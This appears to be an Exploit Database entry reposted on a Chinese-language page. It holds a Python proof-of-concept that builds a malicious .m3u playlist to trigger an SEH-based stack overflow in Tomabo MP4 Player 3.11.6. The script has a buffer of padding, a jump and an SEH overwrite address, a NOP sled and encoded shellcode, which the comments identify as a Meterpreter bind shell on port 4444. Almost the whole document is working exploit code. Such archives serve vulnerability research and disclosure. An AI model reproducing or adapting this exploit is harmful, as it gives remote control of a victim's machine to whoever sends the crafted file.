Tomabo MP4 Player 3.11.6 – Local Stack Overflow (SEH)

Exploit Database
104 阅读

作者： yokoacc, nudragn, rungga_reksya

日期： 2015-10-18
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/38486/

#!/usr/bin/python

#####################################################################

# Exploit Title: Tomabo MP4 Player 3.11.6 SEH Based Stack Overflow#

# Exploit Author: @yokoacc, @nudragn, @rungga_reksya#

# Vendor Homepage: http://www.tomabo.com/ #

# Software Link: http://www.tomabo.com/mp4-player/download.html #

# Vulnerable App: Attached#

# Version: 3.11.6 (possibility <= 3.11.6) #

# Tested on: Windows XP, 7, 8, and 8.1#

# Special Thanks to: @OffsecTraining#

# Vendor Notification: August 30th, 2015#

# Fixed Date: Around September 16th, 2015 (didn't response yet) #

# Public Disclosure: October 18th, 2015 #

#####################################################################

# How to: Run the code and open the m3u file with the Vulnerable MP4 Player by Tomabo

# Bad Character = '\x00\x09\x0a\x0b\x0c\x0d\x1a\x20'

# Payload= windows/meterpreter/bind_tcp ; PORT=4444

file ="whatever.m3u"

load = "\x41" * 1028

load += "\xeb\x08\x90\x90"

load += "\xA9\x1C\x40\x00"

load += "\x90" * 16

load += ("\xdb\xde\xbd\xbc\x9e\x98\xd8\xd9\x74\x24\xf4\x5f\x29\xc9\xb1"

"\x48\x31\x6f\x18\x03\x6f\x18\x83\xef\x40\x7c\x6d\x24\x50\x03"

"\x8e\xd5\xa0\x64\x06\x30\x91\xa4\x7c\x30\x81\x14\xf6\x14\x2d"

"\xde\x5a\x8d\xa6\x92\x72\xa2\x0f\x18\xa5\x8d\x90\x31\x95\x8c"

"\x12\x48\xca\x6e\x2b\x83\x1f\x6e\x6c\xfe\xd2\x22\x25\x74\x40"

"\xd3\x42\xc0\x59\x58\x18\xc4\xd9\xbd\xe8\xe7\xc8\x13\x63\xbe"

"\xca\x92\xa0\xca\x42\x8d\xa5\xf7\x1d\x26\x1d\x83\x9f\xee\x6c"

"\x6c\x33\xcf\x41\x9f\x4d\x17\x65\x40\x38\x61\x96\xfd\x3b\xb6"

"\xe5\xd9\xce\x2d\x4d\xa9\x69\x8a\x6c\x7e\xef\x59\x62\xcb\x7b"

"\x05\x66\xca\xa8\x3d\x92\x47\x4f\x92\x13\x13\x74\x36\x78\xc7"

"\x15\x6f\x24\xa6\x2a\x6f\x87\x17\x8f\xfb\x25\x43\xa2\xa1\x21"

"\xa0\x8f\x59\xb1\xae\x98\x2a\x83\x71\x33\xa5\xaf\xfa\x9d\x32"

"\xd0\xd0\x5a\xac\x2f\xdb\x9a\xe4\xeb\x8f\xca\x9e\xda\xaf\x80"

"\x5e\xe3\x65\x3c\x57\x42\xd6\x23\x9a\x34\x86\xe3\x35\xdc\xcc"

"\xeb\x6a\xfc\xee\x21\x03\x94\x12\xca\x3d\x38\x9a\x2c\x57\xd0"

"\xca\xe7\xc0\x12\x29\x30\x76\x6d\x1b\x68\x10\x26\x4d\xaf\x1f"

"\xb7\x5b\x87\xb7\x33\x88\x13\xa9\x44\x85\x33\xbe\xd2\x53\xd2"

"\x8d\x43\x63\xff\x64\x83\xf1\x04\x2f\xd4\x6d\x07\x16\x12\x32"

"\xf8\x7d\x29\xfb\x6c\x3e\x45\x04\x61\xbe\x95\x52\xeb\xbe\xfd"

"\x02\x4f\xed\x18\x4d\x5a\x81\xb1\xd8\x65\xf0\x66\x4a\x0e\xfe"

"\x51\xbc\x91\x01\xb4\x3c\xed\xd7\xf0\x4a\x1f\xe4")

load += "\x44" * (1800 - len(load))

writeFile = open (file, "w")

writeFile.write(load)

writeFile.close()